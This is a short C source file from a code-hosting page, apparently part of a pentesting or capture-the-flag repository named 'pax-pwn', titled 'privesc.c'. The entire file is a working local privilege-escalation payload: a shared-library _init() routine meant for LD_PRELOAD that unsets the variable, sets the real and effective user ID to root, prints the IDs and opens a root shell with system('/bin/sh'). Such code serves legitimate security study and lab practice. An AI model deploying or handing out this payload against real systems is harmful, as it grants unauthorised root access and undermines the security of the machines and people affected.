pax-pwn/code/privesc.c

15 lines
319 B
C
Raw Normal View History

2020-06-01 10:15:17 +02:00
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
int _init() {
unsetenv("LD_PRELOAD");
puts("LD_PRELOAD is working!");
setreuid(0, 0);
setuid(0);
printf("UID: %d. EUID: %d.\n", getuid(), geteuid());
system("/bin/sh");
exit(0);
}